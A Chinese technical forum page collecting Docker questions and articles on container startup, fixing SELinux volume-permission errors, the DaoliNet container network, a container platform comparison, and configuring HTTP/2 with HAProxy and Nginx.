怎么使用docker命令下载image?

回复

大数据/云计算Rock 回复了问题 • 2 人关注 • 1 个回复 • 1071 次浏览 • 2015-12-03 20:58 • 来自相关话题

怎么限制docker容器的磁盘和带宽

回复

大数据/云计算Ansible 回复了问题 • 2 人关注 • 1 个回复 • 1862 次浏览 • 2015-10-12 18:10 • 来自相关话题

docker怎么让nginx访问我指定的目录

回复

大数据/云计算koyo 回复了问题 • 2 人关注 • 1 个回复 • 1730 次浏览 • 2015-09-19 20:26 • 来自相关话题

docker run bash failed

回复

大数据/云计算采菊篱下 回复了问题 • 2 人关注 • 1 个回复 • 1348 次浏览 • 2015-09-17 00:18 • 来自相关话题

Docker容器启动过程

大数据/云计算Something 发表了文章 • 0 个评论 • 285 次浏览 • 2017-03-09 15:02 • 来自相关话题

下面让我们看看一个Docker容器它启动过程中,背后到底做了什么?docker run -i -t ubuntu /bin/bash输入上面这行命令,启动一个ubuntu容器时,到底发生了什么?
 
大致过程可以用下图描述:




首先系统要有一个docker daemon的后台进程在运行,当刚才这行命令敲下时,发生了如下动作:
docker client(即:docker终端命令行)会调用docker daemon请求启动一个容器,docker daemon会向host os(即:linux)请求创建容器linux会创建一个空的容器(可以简单理解为:一个未安装操作系统的裸机,只有虚拟出来的CPU、内存等硬件资源)docker daemon请检查本机是否存在docker镜像文件(可以简单理解为操作系统安装光盘),如果有,则加载到容器中(即:光盘插入裸机,准备安装操作系统)将镜像文件加载到容器中(即:裸机上安装好了操作系统,不再是裸机状态)
 
最后,我们就得到了一个ubuntu的虚拟机,然后就可以进行各种操作了。
 
 
如果在第4步检查本机镜像文件时,发现文件不存在,则会到默认的docker镜像注册机构(即:docker hub网站)去联网下载,下载回来后,再进行装载到容器的动作,即下图所示:




另外官网有一张图也很形象的描述了这个过程:




原文地址:http://www.cnblogs.com/yjmyzz/p/docker-container-start-up-analysis.html 

参考文章:
https://www.gitbook.com/book/joshhu/docker_theory_install/details  
https://docs.docker.com/engine/introduction/understanding-docker/  查看全部
下面让我们看看一个Docker容器它启动过程中,背后到底做了什么?
docker run -i -t ubuntu /bin/bash
输入上面这行命令,启动一个ubuntu容器时,到底发生了什么?
 
大致过程可以用下图描述:
dockerflow.png

首先系统要有一个docker daemon的后台进程在运行,当刚才这行命令敲下时,发生了如下动作:
  1. docker client(即:docker终端命令行)会调用docker daemon请求启动一个容器,
  2. docker daemon会向host os(即:linux)请求创建容器
  3. linux会创建一个空的容器(可以简单理解为:一个未安装操作系统的裸机,只有虚拟出来的CPU、内存等硬件资源)
  4. docker daemon请检查本机是否存在docker镜像文件(可以简单理解为操作系统安装光盘),如果有,则加载到容器中(即:光盘插入裸机,准备安装操作系统)
  5. 将镜像文件加载到容器中(即:裸机上安装好了操作系统,不再是裸机状态)

 
最后,我们就得到了一个ubuntu的虚拟机,然后就可以进行各种操作了。
 
 
如果在第4步检查本机镜像文件时,发现文件不存在,则会到默认的docker镜像注册机构(即:docker hub网站)去联网下载,下载回来后,再进行装载到容器的动作,即下图所示:
dockerload.png

另外官网有一张图也很形象的描述了这个过程:
dockerfollow.png

原文地址:http://www.cnblogs.com/yjmyzz/p/docker-container-start-up-analysis.html 

参考文章:
https://www.gitbook.com/book/joshhu/docker_theory_install/details  
https://docs.docker.com/engine/introduction/understanding-docker/ 

Docker挂载主机目录出现Permission denied状况分析

大数据/云计算采菊篱下 发表了文章 • 0 个评论 • 606 次浏览 • 2017-02-16 23:10 • 来自相关话题

今天用脚本部署一个Docker私有化环境,挂载宿主机目录出现Permission denied的情况,导致服务启动失败,具体情况如下:








问题原因及解决办法:
原因是CentOS7中的安全模块selinux把权限禁掉了,至少有以下三种方式解决挂载的目录没有权限的问题:
1、在运行容器的时候,给容器加特权,及加上 --privileged=true 参数docker run -i -t -v /data/mysql/data:/data/var-3306 --privileged=true b0387b8279d4 /bin/bash -c "/opt/start_db.sh"2、临时关闭selinuxsetenforce 03、添加selinux规则,改变要挂载的目录的安全性文本:# 更改安全性文本的格式如下
chcon [-R] [-t type] [-u user] [-r role] 文件或者目录

选顷不参数:
-R :连同该目录下癿次目录也同时修改;
-t :后面接安全性本文的类型字段!例如 httpd_sys_content_t ;
-u :后面接身份识别,例如 system_u;
-r :后面街觇色,例如 system_r

[root@localhost Desktop]# chcon --help
Usage: chcon [OPTION]... CONTEXT FILE...
or: chcon [OPTION]... [-u USER] [-r ROLE] [-l RANGE] [-t TYPE] FILE...
or: chcon [OPTION]... --reference=RFILE FILE...
Change the SELinux security context of each FILE to CONTEXT.
With --reference, change the security context of each FILE to that of RFILE.

Mandatory arguments to long options are mandatory for short options too.
--dereference affect the referent of each symbolic link (this is
the default), rather than the symbolic link itself
-h, --no-dereference affect symbolic links instead of any referenced file
-u, --user=USER set user USER in the target security context
-r, --role=ROLE set role ROLE in the target security context
-t, --type=TYPE set type TYPE in the target security context
-l, --range=RANGE set range RANGE in the target security context
--no-preserve-root do not treat '/' specially (the default)
--preserve-root fail to operate recursively on '/'
--reference=RFILE use RFILE's security context rather than specifying
a CONTEXT value
-R, --recursive operate on files and directories recursively
-v, --verbose output a diagnostic for every file processed

The following options modify how a hierarchy is traversed when the -R
option is also specified. If more than one is specified, only the final
one takes effect.

-H if a command line argument is a symbolic link
to a directory, traverse it
-L traverse every symbolic link to a directory
encountered
-P do not traverse any symbolic links (default)

--help display this help and exit
--version output version information and exit

GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
For complete documentation, run: info coreutils 'chcon invocation'在主机中修改/data/mysql/data目录的安全性文档[root@localhost Desktop]# chcon -Rt svirt_sandbox_file_t /data/mysql/data在docker中就可以正常访问该目录下的相关资源了。
卷权限参考:https://yq.aliyun.com/articles/53990  查看全部
Docker.jpeg

今天用脚本部署一个Docker私有化环境,挂载宿主机目录出现Permission denied的情况,导致服务启动失败,具体情况如下:
errorqx.png

cerror.png

问题原因及解决办法:
原因是CentOS7中的安全模块selinux把权限禁掉了,至少有以下三种方式解决挂载的目录没有权限的问题:
1、在运行容器的时候,给容器加特权,及加上 --privileged=true 参数
docker run -i -t -v /data/mysql/data:/data/var-3306 --privileged=true b0387b8279d4 /bin/bash -c "/opt/start_db.sh"
2、临时关闭selinux
setenforce 0
3、添加selinux规则,改变要挂载的目录的安全性文本:
# 更改安全性文本的格式如下
chcon [-R] [-t type] [-u user] [-r role] 文件或者目录

选顷不参数:
-R :连同该目录下癿次目录也同时修改;
-t :后面接安全性本文的类型字段!例如 httpd_sys_content_t ;
-u :后面接身份识别,例如 system_u;
-r :后面街觇色,例如 system_r

[root@localhost Desktop]# chcon --help
Usage: chcon [OPTION]... CONTEXT FILE...
or: chcon [OPTION]... [-u USER] [-r ROLE] [-l RANGE] [-t TYPE] FILE...
or: chcon [OPTION]... --reference=RFILE FILE...
Change the SELinux security context of each FILE to CONTEXT.
With --reference, change the security context of each FILE to that of RFILE.

Mandatory arguments to long options are mandatory for short options too.
--dereference affect the referent of each symbolic link (this is
the default), rather than the symbolic link itself
-h, --no-dereference affect symbolic links instead of any referenced file
-u, --user=USER set user USER in the target security context
-r, --role=ROLE set role ROLE in the target security context
-t, --type=TYPE set type TYPE in the target security context
-l, --range=RANGE set range RANGE in the target security context
--no-preserve-root do not treat '/' specially (the default)
--preserve-root fail to operate recursively on '/'
--reference=RFILE use RFILE's security context rather than specifying
a CONTEXT value
-R, --recursive operate on files and directories recursively
-v, --verbose output a diagnostic for every file processed

The following options modify how a hierarchy is traversed when the -R
option is also specified. If more than one is specified, only the final
one takes effect.

-H if a command line argument is a symbolic link
to a directory, traverse it
-L traverse every symbolic link to a directory
encountered
-P do not traverse any symbolic links (default)

--help display this help and exit
--version output version information and exit

GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
For complete documentation, run: info coreutils 'chcon invocation'
在主机中修改/data/mysql/data目录的安全性文档
[root@localhost Desktop]# chcon -Rt svirt_sandbox_file_t /data/mysql/data
在docker中就可以正常访问该目录下的相关资源了。
卷权限参考:https://yq.aliyun.com/articles/53990 

道里云开源DaoliNet高效动态Docker网络

开源项目chris 发表了文章 • 0 个评论 • 1019 次浏览 • 2016-05-28 17:58 • 来自相关话题

DaoliNet是高效和动态Docker网络
DaoliNet是一个软件,旨在提供Docker容器效率和动态连接,这是适合于Docker容器的微服务工作负荷的重量轻且短暂性质定义网络(SDN)的系统。

高级特征:
[]资源高效:容器连接消耗,当容器不主动沟通的小主机资源,而且可以立即切换到提供完整的连接能力。 这是在主机CPU资源的容器有效地利用相同的方式。 你获得更多的服务器资源。[/][]分布在任何地方:Docker服务器可以在公共云,如AWS在自己的数据中心的笔记本电脑或PC你的办公室或家中,服务器的防火墙内,或虚拟机。[/][]网络虚拟化:您可以选择任何CIDR IP地址,你的容器和容器可以保持IP地址移动物理位置后保持不变。[/][]使用开放式的V-Switch纯软件实现(OVS):提供网络功能的分布式交换机,路由器,网关和防火墙。 在插件的即插即用的简单系统的部署。[/]
要了解更多关于DaoliNet: http://www.daolinet.org 
 
Docker在高效和动态网络的需求
提供高效的微服务容器时,可以在生命周期短暂的高度:大量的Docker动态云集装箱的需要快速建立连接,以及频繁更换连接状态。 传统的数据平面的路由学习技术要求泊坞窗服务器经常学习和更新了大量动态的容器,这转化为较低的高效利用服务器资源的路由信息。 迄今为止,网络是Docker的核心特征是相对不成熟,仍处于开发状态。

架构
DaoliNet的网络体系结构是基于OpenFlow的标准。 它采用的OpenFlow控制器作为智能控制平面,和Open-V开关(OVSes)来实现数据路径。 该OpenFlow的控制器在DaoliNet是逻辑上集中的实体,但实际一组HA分布式Web服务类似物。  OVSes是无所不在提供Linux内核,因此可以应用在所有的Docker服务器。

在DaoliNet网络中,所有Docker服务器都在其中无论是身体或VPN连接的以太网。 每个Docker服务器充当所有在该服务器上托管的容器的工作负载的虚拟路由器。 然而,这些虚拟路由器的OpenFlow技术工作,他们不运行任何路由算法。 在一个容器发起连接,所涉及的虚拟路由器将实时由OpenFlow的控制器配置成建立路由。





怎么运行的
当容器开始在Docker服务器作为源路由器将发出一个PacketIn请求的OpenFlow控制器的连接时,OVS。 该PacketIn请求是刚刚从启动容器中的第一个数据包。 在OpenFlow的控制器,知道所有Docker服务器,路由器OpenFlow技术在系统中,看到PacketIn,可以识别它承载容器作为目标工作负载的另一个Docker服务器。 该第二Docker服务器是为连接目的地路由器。 所述的OpenFlow控制器将有一对PacketOut流,一个用于源服务器,和另一个用于目标服务器的响应。 这些PacketOut流建立在两个容器之间热插拔路线,见下图:




当一个连接变得空闲并且在一个时间阈值,则热插拔路线将超时和删除以释放服务器的资源。 由于热插拔路由建立快速,删除不活动的连接可以在重新连接被重新热插拔。 因此Docker服务器作为DaoliNet路由器工作在无连接,无资源消耗的风格。 网络资源利用率的这种风格完全匹配利用服务器CPU在该容器的时候,闲置集装箱消耗很少的服务器资源. DaoliNet是一种有效的和动态的网络技术用于连接Docker容器。

简单的网络为集装箱
在DaoliNet,在系统Docker服务器处于未会意酮另一个的一个简单的状态,完全独立于彼此。 这个体系结构不仅节省了资源利用率,但更重要的是Docker服务器之间的独立关系极大地简化了资源的管理。 扩展资源池是为服务器添加到游泳池和通知的OpenFlow控制器的即插即用的打法一样简单。 需要在路由器之间没有复杂的路由表查找和更新。 也没有必要Docker服务器成对运行一些包的封装协议,它不仅是资源利用效率低,而且会抵消网络诊断和故障排除工具,如跟踪路由。
更多了解官网: http://www.daolinet.org/html/technology.html 
Github项目地址:https://github.com/daolinet/daolinet 查看全部
daolinet.png

DaoliNet是高效和动态Docker网络
DaoliNet是一个软件,旨在提供Docker容器效率和动态连接,这是适合于Docker容器的微服务工作负荷的重量轻且短暂性质定义网络(SDN)的系统。

高级特征:
    []资源高效:容器连接消耗,当容器不主动沟通的小主机资源,而且可以立即切换到提供完整的连接能力。 这是在主机CPU资源的容器有效地利用相同的方式。 你获得更多的服务器资源。[/][]分布在任何地方:Docker服务器可以在公共云,如AWS在自己的数据中心的笔记本电脑或PC你的办公室或家中,服务器的防火墙内,或虚拟机。[/][]网络虚拟化:您可以选择任何CIDR IP地址,你的容器和容器可以保持IP地址移动物理位置后保持不变。[/][]使用开放式的V-Switch纯软件实现(OVS):提供网络功能的分布式交换机,路由器,网关和防火墙。 在插件的即插即用的简单系统的部署。[/]

要了解更多关于DaoliNet: http://www.daolinet.org 
 
Docker在高效和动态网络的需求
提供高效的微服务容器时,可以在生命周期短暂的高度:大量的Docker动态云集装箱的需要快速建立连接,以及频繁更换连接状态。 传统的数据平面的路由学习技术要求泊坞窗服务器经常学习和更新了大量动态的容器,这转化为较低的高效利用服务器资源的路由信息。 迄今为止,网络是Docker的核心特征是相对不成熟,仍处于开发状态。

架构
DaoliNet的网络体系结构是基于OpenFlow的标准。 它采用的OpenFlow控制器作为智能控制平面,和Open-V开关(OVSes)来实现数据路径。 该OpenFlow的控制器在DaoliNet是逻辑上集中的实体,但实际一组HA分布式Web服务类似物。  OVSes是无所不在提供Linux内核,因此可以应用在所有的Docker服务器。

在DaoliNet网络中,所有Docker服务器都在其中无论是身体或VPN连接的以太网。 每个Docker服务器充当所有在该服务器上托管的容器的工作负载的虚拟路由器。 然而,这些虚拟路由器的OpenFlow技术工作,他们不运行任何路由算法。 在一个容器发起连接,所涉及的虚拟路由器将实时由OpenFlow的控制器配置成建立路由。
dotnet.png


怎么运行的
当容器开始在Docker服务器作为源路由器将发出一个PacketIn请求的OpenFlow控制器的连接时,OVS。 该PacketIn请求是刚刚从启动容器中的第一个数据包。 在OpenFlow的控制器,知道所有Docker服务器,路由器OpenFlow技术在系统中,看到PacketIn,可以识别它承载容器作为目标工作负载的另一个Docker服务器。 该第二Docker服务器是为连接目的地路由器。 所述的OpenFlow控制器将有一对PacketOut流,一个用于源服务器,和另一个用于目标服务器的响应。 这些PacketOut流建立在两个容器之间热插拔路线,见下图:
dnet2.png

当一个连接变得空闲并且在一个时间阈值,则热插拔路线将超时和删除以释放服务器的资源。 由于热插拔路由建立快速,删除不活动的连接可以在重新连接被重新热插拔。 因此Docker服务器作为DaoliNet路由器工作在无连接,无资源消耗的风格。 网络资源利用率的这种风格完全匹配利用服务器CPU在该容器的时候,闲置集装箱消耗很少的服务器资源. DaoliNet是一种有效的和动态的网络技术用于连接Docker容器。

简单的网络为集装箱
在DaoliNet,在系统Docker服务器处于未会意酮另一个的一个简单的状态,完全独立于彼此。 这个体系结构不仅节省了资源利用率,但更重要的是Docker服务器之间的独立关系极大地简化了资源的管理。 扩展资源池是为服务器添加到游泳池和通知的OpenFlow控制器的即插即用的打法一样简单。 需要在路由器之间没有复杂的路由表查找和更新。 也没有必要Docker服务器成对运行一些包的封装协议,它不仅是资源利用效率低,而且会抵消网络诊断和故障排除工具,如跟踪路由。
更多了解官网: http://www.daolinet.org/html/technology.html 
Github项目地址https://github.com/daolinet/daolinet

招行容器平台对比报告

学习资源push 发表了文章 • 0 个评论 • 735 次浏览 • 2016-04-03 19:16 • 来自相关话题

测试维度




测试维度主要思路是开发-->交付-->运维这个思路来做的,从开发版本迭代到最少产品交付给运维部署上线。开发版本出来之后,开发内部build完成之后,协同测试后把程序交付给应用管理系统和数据服务,最后交付完成集成之后交由运维部署。

测试指标




测试指标主要是珍对容器服务的功能生态系统周期测试。是否支持团队协作、微服务器架构、容器化、持续交付、云平台等方面来考虑容器平台的可用迭代完整性。

参测产品






厂商功能对比

1、DevOps




2、微服务




3、容器化




4、持续交付




5、混合云





总结

不管是哪家厂商都不重要,重要的是可以满足客户现有环境和需求。当然如果厂商支持的功能越多和越全面,适配的概率和可用性会更高,最后考虑的才是产品质量,只有更好的适配度和满足度,才会进一步商务洽谈下去。 查看全部


测试维度


test.png
测试维度主要思路是开发-->交付-->运维这个思路来做的,从开发版本迭代到最少产品交付给运维部署上线。开发版本出来之后,开发内部build完成之后,协同测试后把程序交付给应用管理系统和数据服务,最后交付完成集成之后交由运维部署。


测试指标


test_ind.png
测试指标主要是珍对容器服务的功能生态系统周期测试。是否支持团队协作、微服务器架构、容器化、持续交付、云平台等方面来考虑容器平台的可用迭代完整性。


参测产品


inc.png


厂商功能对比


1、DevOps
devops.png

2、微服务
wservice.png

3、容器化
docker.png

4、持续交付
cpay.png

5、混合云
mcloud.png


总结


不管是哪家厂商都不重要,重要的是可以满足客户现有环境和需求。当然如果厂商支持的功能越多和越全面,适配的概率和可用性会更高,最后考虑的才是产品质量,只有更好的适配度和满足度,才会进一步商务洽谈下去。

HAProxy和Nginx 配置HTTP/2完整指南

运维技术push 发表了文章 • 0 个评论 • 922 次浏览 • 2016-04-01 00:21 • 来自相关话题

基于最近对HTTP/2的争论和它的优势,是时候升级底层架构了。这篇文章将会介绍如何在安装和配置HAProxy和Ngnix(使用ssl终端)。为了简化流程,我建议你准备好使用Docker镜像。




如果你想跳过安装环节或你只对配置环节感兴趣,可以跳至文章后面配置部分。

我为什么需要关注HTTP/2?​

这里有一些介绍HTTP/2益处的文章-而且我鼓励你去读一读。下面我将重点介绍我认为比较重要的几点。
HTTP/2的主要优势:
[]使用二进制数据(不像HTTP/1.1一样使用明文)而且它使用了header数据压缩。不用再为header和cookie的大小而担心了。[/][]它是完全多元化的,为了提升并发性可以使用一个连接加载多种资源。你的网站性能在需要引入多种资源的时候会表现得更好,因为现在它们可以在一次TCP连接中全部加载,在非阻塞模式中。域名切分和资源级联变成了反面模式。简单来说:你的网站加载会更快。 [/][]它允许服务器提前推送请求到客户端的缓存(目前Ngnix不支持这个特性) [/][]它使用新的ALPN扩展,那将允许更快地加密连接。这个加密协议在初始化连接的阶段是可用的。[/]
今天我可以使用它吗?




是的,你可以。正如你所看到的在Can I Use上的服务那样,所有现代浏览器现在都支持HTTP/2,这里包括IE11和Edge。唯一的例外是移动端的Opera Mini和Android浏览器不支持它。

此外,下面描述的配置都会确保客户端在不支持HTTP/2的情况下,退回到HTTP/1.1。这非常重要:你的网站应该为那些老版本浏览器或搜索引擎爬虫提供访问支持。

安装

我会在CentOS 7下安装,如果你使用其他Linux发布版本,你可以简单调整下代码。
你需要做的:
[]站点能跑通SSL。如果你还没有虚拟证书的话,你需要使用虚拟证书(简单)。[/][]Ngnix 1.9.5 或更新版本( 简单 )。[/][]安装配置好OpenSSL的HAPorxy 1.6或更新版( 需要一些技巧 )。[/][]良好的HAPRoxy和Ngnix配置( 简单 )。[/][]确认你是否已经在使用HTTP/2,HTTP/2 and SPDY indicator 对Chrome友好。[/]
OpenSSL部分是需要一些技巧,因为大部分有OpwnSSL 1.0.1(或者更旧的版本)的Linux分支都不支持ALPN(应用层协议协商)。ALPN协议允许应用层去协商,这个协议将被用在连接中,而且这是基本的,如果我们要在相同的TCP端口支持HTTP/2和HTTP/1。除此之外,HTTP/2在HAProxy中只支持使用ALPN,所以它一定会在我们的列表里。
如果你对安装流程熟悉的话,请直接跳至配置部分.1.获取 SSL 证书
你可以很便宜的从ssl2buy.com上买到信任证书,那里有许多靠谱发行机构的代售。我曾经在那里买了一堆证书而且我推荐他们的服务和客户支持。你可以从那里拿到低于20美元的AphaSSL证书。
 
如果你需要为HAProxy或Nginx生成虚拟证书,你可以使用下面的命令:# Generate all keys and cefiticates in /etc/ssl/ directory
openssl genrsa -out /etc/ssl/dummy.key 2048
openssl req -new -key /etc/ssl/dummy.key -out /etc/ssl/dummy.csr -subj "/C=GB/L=London/O=Company Ltd/CN=haproxy"
openssl x509 -req -days 3650 -in /etc/ssl/dummy.csr -signkey /etc/ssl/dummy.key -out /etc/ssl/dummy.crt# Concatenate certificate and key into .pem format, compatible with HAProxy
cat /etc/ssl/dummy.crt /etc/ssl/dummy.key > /etc/ssl/dummy.pem我们需要在下一步的配置中使用生成的证书和秘钥。
 
2.Nginx 安装
在CentOS 7上安装Ngnix 1.9十分简单。唯一需要做的就是使用主线版YUM源,而不是稳定版。就像Nginx.org page上描述的那样,把yum源的配置放到/etc/yum.repos.d/nginx.repo位置然后执行yum install:搞定。
 
让我们创建一个Ngnix vhost.conf(虚拟主机配置文件)确保我们的Nginx在拥有HTTP/2的情况下正常工作。下面是一个简单的vhost配置:
    第一点:关键点是在listen 443 default_server ssl http2那一行。这就相当于你使用了HTTP/2。

    第二点:现在忽略第三行listen 81部分的配置 - 我们一会再回来看这部分。

    第三点:我使用使用标准的80/443端口在Docker镜像里跑这个样例,所以它们不会和我的host主机上的任何端口发生冲突。如果有需要,你可以把它调整至适用你的需要。

    第四点:使用在获取SSL证书那一步生成的dummy.crt和dummy.key。

好了,当你使用https://协议连接站点时,HTTP/2提示器会提示你站点正在运行HTTP/2协议。

恭喜你,你的Ngnix已经在运行HTTP/2了!
 
3、OpenSSL 和 HAProxy 安装
这一部分有点棘手。我们需要编译OpenSSL 1.0.2的源码(因为在yum中还没有可用的资源)并且在之后的HAProxy重编译中还会使用到它。
 
建立OpenSSL的工作,我们使用no-shared参数,并且HAProxy是通过静态方式连接到OpenSSL的。我遵照的是HAProxy官方的README.但可笑的是,我最终还是采用了其他的方式……并且要非常足智多谋。你会常常去读这些冗长且乏味的README文件吗?
在那之后,你应该已经编译通过HAProxy且安装好了。测试一下:haproxy -vv
 4、配置
这是一个我们将用到完整的/etc/haproxy/haproxy.cfg(HAProxy配置):

最本质的部分在这:

这里我们定义了HTTPS前端接口在客户端请求HAProxy时监听443端口。

请求被后端的nodes-http2还是nodes-http处理取决于客户端是否支持HTTP2.注意我们决定SSL在HAProxy上使用这个配置,连接对后端服务器来说是被解密过的。我们的后端服务器可以被HAProxy用web服务器的域名访问(这就是运行过程中的Nginx,就像我们上面说的)。

在bind *:443 line with alpn h2,http/1.1一行我们建议为了方便客户端使用最好两种协议(HTTP/2 and HTTP/1.1)都支持。

这样的话浏览器即使不支持HTTP/2,也可以浏览我们的网站。

use_backend nodes-http2 if { ssl_fc_alpn -i h2 } 支持HTTP/2的客户端会被重定向到nodes-http2后端节点,剩下使用HTTP/1.1协议的将被nodes-http处理。如果你想让后端兼容还不支持HTTP/2的客户端,这件事十分重要的。

因此我们会有下面这一行:

server node1 web.server:81 check send-proxy

在这里,我们只讨论了HAProxy和HTTP/2协议。通常它连接web.server在81端口。我们还有更令人高兴的惊喜吗?
让我们用nginx下列虚拟主机配置(如上所述):

这一行:listen 81 default_server http2 proxy_protocol;

定义了服务器在端口81,会处理HTTP/2的请求。请注意,我们无法在服务器使用443端口进行SSL连接:SSL连接已经被HAProxy解密过了,所以现在我们有一个非加密连接。因此我们需要限制服务器的81端口只使用HTTP/2,不使用SSL。

题外话:小也有proxy_protocol关键词。在haproxy.cfg等效发送代理,在后端服务器配置。代理协议是独立出来的,这儿有篇文章很好的解释了原因。简而言之,它允许通过HAProxy后端服务器传送客户端的IP地址和端口号,这通常是非常理想的。

你可以使用上面的配置运行HAProxy:HAProxy F / etc / HAProxy / haproxy.cfg现在你应该能够连接到您的代理主机(例如https://localhost:443/),看到它正在运行HTTP / 2。如果你在Firefox的测试,检查网络请求头的标题,你会看到X-Firefox-Spdy: "h2"。

Docker images

如果你早已经会使用Docker,你可以用我们的MILLION12镜像。当Docker还是1.0版本的时候我们已经开始使用Docker很长时间了(MILLION12这是我们的仓库地址),而且我们已经构建了一堆有用的镜像。在这个例子里,我们将使用million12/haproxy和million12/nginx这两个镜像。里面的配置是我们讨论后的最终结果。

你可以运行整个栈通过使用docker-compose.yml文件。注意我们是通过haproxy容器里的web.server主机名连接Nignx的,那个域名就是当前haproxy.cfg使用的主机名。

连接https://haproxy:8443你就会看到屏幕显示出如下内容(注意蓝色的HTTP/2提示部分。








如果你想看看使用这些Docker镜像和上述配置的真实的产品工程,打开https://PrototypeBrewery.io 。Prototype Brewery是我们的产品,一个计划和构建交互式web项目的原型工具。打开看看吧,我们已经在使用HTTP/2了(别忘了注册)。

总结

正如你看到的,迁移到HTTP/2真的很简单,你今天就能做掉。 没有什么理由让你再等下去了,主流浏览器都已经支持它了。而且即使回迁到HTTP/1.1上你仍然是安全的。分享阅读原文:http://m12.io/blog/http-2-with-haproxy-and-nginx-guide 
中文原文:http://www.oschina.net/translate/haproxy-nginx-http-2 查看全部
基于最近对HTTP/2的争论和它的优势,是时候升级底层架构了。这篇文章将会介绍如何在安装和配置HAProxy和Ngnix(使用ssl终端)。为了简化流程,我建议你准备好使用Docker镜像。
hanginx.png

如果你想跳过安装环节或你只对配置环节感兴趣,可以跳至文章后面配置部分。


我为什么需要关注HTTP/2?​


这里有一些介绍HTTP/2益处的文章-而且我鼓励你去读一读。下面我将重点介绍我认为比较重要的几点。
HTTP/2的主要优势:
    []使用二进制数据(不像HTTP/1.1一样使用明文)而且它使用了header数据压缩。不用再为header和cookie的大小而担心了。[/][]它是完全多元化的,为了提升并发性可以使用一个连接加载多种资源。你的网站性能在需要引入多种资源的时候会表现得更好,因为现在它们可以在一次TCP连接中全部加载,在非阻塞模式中。域名切分和资源级联变成了反面模式。简单来说:你的网站加载会更快。 [/][]它允许服务器提前推送请求到客户端的缓存(目前Ngnix不支持这个特性) [/][]它使用新的ALPN扩展,那将允许更快地加密连接。这个加密协议在初始化连接的阶段是可用的。[/]

今天我可以使用它吗?
use.png

是的,你可以。正如你所看到的在Can I Use上的服务那样,所有现代浏览器现在都支持HTTP/2,这里包括IE11和Edge。唯一的例外是移动端的Opera Mini和Android浏览器不支持它。

此外,下面描述的配置都会确保客户端在不支持HTTP/2的情况下,退回到HTTP/1.1。这非常重要:你的网站应该为那些老版本浏览器或搜索引擎爬虫提供访问支持。


安装


我会在CentOS 7下安装,如果你使用其他Linux发布版本,你可以简单调整下代码。
你需要做的:
    []站点能跑通SSL。如果你还没有虚拟证书的话,你需要使用虚拟证书(简单)。[/][]Ngnix 1.9.5 或更新版本( 简单 )。[/][]安装配置好OpenSSL的HAPorxy 1.6或更新版( 需要一些技巧 )。[/][]良好的HAPRoxy和Ngnix配置( 简单 )。[/][]确认你是否已经在使用HTTP/2,HTTP/2 and SPDY indicator 对Chrome友好。[/]

OpenSSL部分是需要一些技巧,因为大部分有OpwnSSL 1.0.1(或者更旧的版本)的Linux分支都不支持ALPN(应用层协议协商)。ALPN协议允许应用层去协商,这个协议将被用在连接中,而且这是基本的,如果我们要在相同的TCP端口支持HTTP/2和HTTP/1。除此之外,HTTP/2在HAProxy中只支持使用ALPN,所以它一定会在我们的列表里。
如果你对安装流程熟悉的话,请直接跳至配置部分.
1.获取 SSL 证书
你可以很便宜的从ssl2buy.com上买到信任证书,那里有许多靠谱发行机构的代售。我曾经在那里买了一堆证书而且我推荐他们的服务和客户支持。你可以从那里拿到低于20美元的AphaSSL证书。
 
如果你需要为HAProxy或Nginx生成虚拟证书,你可以使用下面的命令:
# Generate all keys and cefiticates in /etc/ssl/ directory
openssl genrsa -out /etc/ssl/dummy.key 2048
openssl req -new -key /etc/ssl/dummy.key -out /etc/ssl/dummy.csr -subj "/C=GB/L=London/O=Company Ltd/CN=haproxy"
openssl x509 -req -days 3650 -in /etc/ssl/dummy.csr -signkey /etc/ssl/dummy.key -out /etc/ssl/dummy.crt
# Concatenate certificate and key into .pem format, compatible with HAProxy
cat /etc/ssl/dummy.crt /etc/ssl/dummy.key > /etc/ssl/dummy.pem
我们需要在下一步的配置中使用生成的证书和秘钥。
 
2.Nginx 安装
在CentOS 7上安装Ngnix 1.9十分简单。唯一需要做的就是使用主线版YUM源,而不是稳定版。就像Nginx.org page上描述的那样,把yum源的配置放到/etc/yum.repos.d/nginx.repo位置然后执行yum install:搞定。
 
让我们创建一个Ngnix vhost.conf(虚拟主机配置文件)确保我们的Nginx在拥有HTTP/2的情况下正常工作。下面是一个简单的vhost配置:
    第一点:关键点是在listen 443 default_server ssl http2那一行。这就相当于你使用了HTTP/2。

    第二点:现在忽略第三行listen 81部分的配置 - 我们一会再回来看这部分。

    第三点:我使用使用标准的80/443端口在Docker镜像里跑这个样例,所以它们不会和我的host主机上的任何端口发生冲突。如果有需要,你可以把它调整至适用你的需要。

    第四点:使用在获取SSL证书那一步生成的dummy.crt和dummy.key。

好了,当你使用https://协议连接站点时,HTTP/2提示器会提示你站点正在运行HTTP/2协议。

恭喜你,你的Ngnix已经在运行HTTP/2了!
 
3、OpenSSL 和 HAProxy 安装
这一部分有点棘手。我们需要编译OpenSSL 1.0.2的源码(因为在yum中还没有可用的资源)并且在之后的HAProxy重编译中还会使用到它。
 
建立OpenSSL的工作,我们使用no-shared参数,并且HAProxy是通过静态方式连接到OpenSSL的。我遵照的是HAProxy官方的README.但可笑的是,我最终还是采用了其他的方式……并且要非常足智多谋。你会常常去读这些冗长且乏味的README文件吗?
在那之后,你应该已经编译通过HAProxy且安装好了。测试一下:
haproxy -vv

 4、配置
这是一个我们将用到完整的/etc/haproxy/haproxy.cfg(HAProxy配置):

最本质的部分在这:

这里我们定义了HTTPS前端接口在客户端请求HAProxy时监听443端口。

请求被后端的nodes-http2还是nodes-http处理取决于客户端是否支持HTTP2.注意我们决定SSL在HAProxy上使用这个配置,连接对后端服务器来说是被解密过的。我们的后端服务器可以被HAProxy用web服务器的域名访问(这就是运行过程中的Nginx,就像我们上面说的)。

在bind *:443 line with alpn h2,http/1.1一行我们建议为了方便客户端使用最好两种协议(HTTP/2 and HTTP/1.1)都支持。

这样的话浏览器即使不支持HTTP/2,也可以浏览我们的网站。

use_backend nodes-http2 if { ssl_fc_alpn -i h2 } 支持HTTP/2的客户端会被重定向到nodes-http2后端节点,剩下使用HTTP/1.1协议的将被nodes-http处理。如果你想让后端兼容还不支持HTTP/2的客户端,这件事十分重要的。

因此我们会有下面这一行:

server node1 web.server:81 check send-proxy

在这里,我们只讨论了HAProxy和HTTP/2协议。通常它连接web.server在81端口。我们还有更令人高兴的惊喜吗?
让我们用nginx下列虚拟主机配置(如上所述):

这一行:listen 81 default_server http2 proxy_protocol;

